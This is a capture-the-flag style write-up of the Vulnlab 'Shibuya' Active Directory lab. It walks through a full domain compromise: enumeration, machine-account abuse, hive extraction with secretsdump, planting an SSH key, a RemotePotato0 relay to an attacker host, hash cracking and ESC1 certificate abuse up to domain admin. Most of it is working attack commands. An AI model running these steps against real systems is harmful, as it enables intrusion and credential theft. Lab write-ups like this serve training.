VL-Shibuya

Initial Enumeration

Initial port scan revealed multiple open ports indicating an Active Directory environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos 
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory 
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory 
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
|   Target_Name: SHIBUYA
|   NetBIOS_Domain_Name: SHIBUYA
|   NetBIOS_Computer_Name: AWSJPDC0522
|   DNS_Domain_Name: shibuya.vl
|   DNS_Computer_Name: AWSJPDC0522.shibuya.vl
|   DNS_Tree_Name: shibuya.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-04-09T09:02:13+00:00
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49939/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49965/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49997/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC

SMB Enumeration

First, I checked for null sessions, but access was denied:

1
netexec smb shibuya.vl -u 'hello' -p '' --shares

SMB Null Session Attempt

User Enumeration

I used Kerbrute to identify valid users in the domain:

1
./kerbrute userenum --dc 10.10.82.222 -d shibuya.vl /usr/share/wordlists/seclists/Usernames/Names/names.txt

Valid User Discovery

Exploiting Pre-created Machine Account

I discovered a machine account named RED$ which was pre-created. According to Microsoft documentation, these accounts can have their passwords changed:

1
netexec smb shibuya.vl -u 'RED$' -p 'red' --shares

Pre-created Machine Account
We can authenticate using Kerberos:

1
netexec smb shibuya.vl -u 'RED$' -p 'red' --shares --kerberos

Kerberos Authentication
I changed the password for easier access:

1
impacket-changepasswd 'shibuya.vl/RED$':red@shibuya.vl -newpass 'HelloWorld123@' -dc-ip AWSJPDC0522.shibuya.vl -p rpc-samr

Password Change

Share Access and Enumeration

With our new credentials, I connected to the shares:

1
smbclient //10.10.82.222/users -U 'RED$'

SMB Access
Found users:

1
2
3
4
5
6
Administrator
All Users
Default
Default User
nigel.mills
simon.watson

Service Account Discovery

I enumerated users and found an interesting service account with credentials in the description:

1
netexec smb shibuya.vl -u 'RED$' -p 'HelloWorld123@' --users

Service Account
Found credentials: svc_autojoin : <HELLNO>
Using these credentials allowed access to more shares:

1
netexec smb shibuya.vl -u 'svc_autojoin' -p '' --shares

More Shares

Registry Hive Extraction

I connected to an images share with potentially useful data:

1
smbclient //10.10.82.222/images$ -U 'svc_autojoin'

Images Share
I extracted a Windows Image (WIM) file containing registry hives:

1
smbclient //10.10.82.222/images$ -U 'svc_autojoin' -c 'timeout 120; iosize 16384; get \AWSJPWK0222-02.wim'
1
sudo wimmountrw AWSJPWK0222-02.wim 1 /mnt/wim_mount

After mounting, I extracted the SAM, SYSTEM, and SECURITY hives and ran secretsdump:

1
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

Registry Hives
From the output, I found interesting hashes, including an operator hash and a cached domain logon:

1
2
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)

Gaining User Access

The hash for Simon didn’t work directly, but password spraying with the operator hash worked:

1
netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares

Simon Watson Access
While WinRM didn’t work, I remembered port 22 (SSH) was open. I uploaded an SSH key via SMB to gain shell access:

1
netexec smb shibuya.vl -u 'Simon.Watson' -H <HASH> --shares
1
ssh-keygen -t rsa -b 4096 -f simon
1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'mkdir simon.watson/.ssh; put /home/kali/.ssh/simon.w.pub simon.watson/.ssh/authorized_keys'
1
ssh -i ~/.ssh/simon Simon.Watson@10.10.94.60

SSH Access

Active Directory Reconnaissance

I uploaded SharpHound to collect AD data:

1
.\SharpHound.exe -c All

Downloaded the results for analysis:

1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash <HASH> -c 'get "simon.watson/20250410065413_BloodHound.zip" Shibuya_BloodHound.zip'

Cross-Session Relay Attack

BloodHound analysis revealed two users with active sessions: Simon.Watson (which we already owned) and Nigel.Mills. I decided to perform a cross-session relay attack to compromise Nigel.Mills’s account.
Cross Session Attack
First, I uploaded RemotePotato0 (which evades antivirus detection):

1
smbclient //10.10.78.105/users -U shibuya.vl/Simon.Watson --pw-nt-hash 5d8c3d1a20bd63f60f469f6763ca0d50 -c 'put /home/panosoiko/Downloads/RemotePotato0.exe simon.watson/RemotePotato0.exe'

On the victim machine:

1
.\RemotePotato0.exe -m 2 -s 1 -x 10.8.5.195 -p 8080

On the attacker machine:

1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.78.105:8080

Nigel Mills Access
I cracked the captured hash:

1
hashcat -m 5600 hash322.txt /usr/share/wordlists/rockyou.txt

Cracked Hash
Credentials obtained: nigel.mills : Sail2.......

Privilege Escalation via Certificate Templates

BloodHound revealed that Nigel could RDP to the machine and had certificate enrollment permissions:
RDP Access
Certificate Enrollment
I set up an SSH tunnel to access LDAP services:

1
ssh -R 1080 -N sshuser@10.8.5.195

Used Certipy to analyze the certificate templates:

1
proxychains4 -q certipy find -target 10.10.78.105 -dc-ip 10.10.78.105 -u 'nigel.mills@shibuya.vl' -p '' -debug

Certipy Results
Found vulnerabilities in ESC1, ESC2, and ESC3. Decided to exploit ESC1 as it’s the easiest:
ESC1 Vulnerability
First attempt at exploiting the certificate template:

1
proxychains4 -q certipy req -dc-ip 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -ca shibuya-AWSJPDC0522-CA -u nigel.mills@shibuya.vl -p '' -upn administrator@shibuya.vl -key-size 4096 -debug

Admin Key
No Admin Access
This didn’t work. Looking closer at the template, I noticed that _admin was the owner:

1
2
Object Control Permissions
   Owner: SHIBUYA.VL\_admin

Due to certificate-based authentication changes (KB5014754), I needed to include the SID when requesting a certificate:
https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16?preview=true

1
proxychains4 -q certipy req -u nigel.mills@shibuya.vl -p PASS -ca shibuya-AWSJPDC0522-CA -target 10.10.78.105 -target-ip 10.10.78.105 -template ShibuyaWeb -upn '_admin@shibuya.vl' -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500' -debug
1
proxychains4 -q certipy auth -pfx _admin.pfx -dc-ip 10.10.78.105

Domain Admin Access
Finally, I used Evil-WinRM to access the domain controller as _admin:

1
proxychains4 -q evil-winrm -i 10.10.78.105 -u '_admin' -H <HASH>

Success! Domain admin access achieved.

https://api.vulnlab.com/api/v1/share?id=1e23a5da-28c7-4613-b7ed-b106bc9b90b0